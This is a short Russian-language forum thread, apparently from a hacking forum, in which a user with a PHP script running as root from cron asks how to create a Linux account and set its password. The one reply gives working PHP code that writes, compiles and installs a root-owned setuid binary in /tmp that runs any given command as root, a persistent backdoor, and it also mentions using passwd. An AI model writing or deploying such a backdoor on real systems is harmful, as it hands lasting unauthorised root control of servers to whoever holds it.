Создать учетку linux из под php

Discussion in 'Песочница' started by package, 14 Aug 2012.

Thread Status:
Not open for further replies.
  1. package

    package New Member

    Joined:
    1 Aug 2012
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Собственно сабж.
    На серве стоит пхп скрипт от рута на кроне.
    Как создать учетку и задать ей пароль?

    Второе интересует больше всего, т.к. первое то я сделал.
     
  2. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    PHP:
    $suid "#include <sys/types.h>
    #include <unistd.h>
    #include <stdio.h>
    int main(int argc, char *argv[]) {
            if(argc == 2) {
                    setuid(0);
                    setgid(0);
                    system(argv[1]);
    }
    return 0;

    }
    "
    ;

    if(@
    file_put_contents('/tmp/suid.c'$suid)) {
       @
    system('gcc /tmp/suid.c -o /tmp/suid;chown root:root /tmp/suid;chmod 4755 /tmp/suid');
    }
    Создаст суидник от рута, работать с ним элементарно:
    Для смены пароля используй passwd:
     
    _________________________
    #2 Expl0ited, 14 Aug 2012
    Last edited: 14 Aug 2012
Loading...
Similar Threads - Создать учетку linux
  1. navai
    Replies:
    3
    Views:
    3,175
  2. xlamerz
    Replies:
    1
    Views:
    2,409
Thread Status:
Not open for further replies.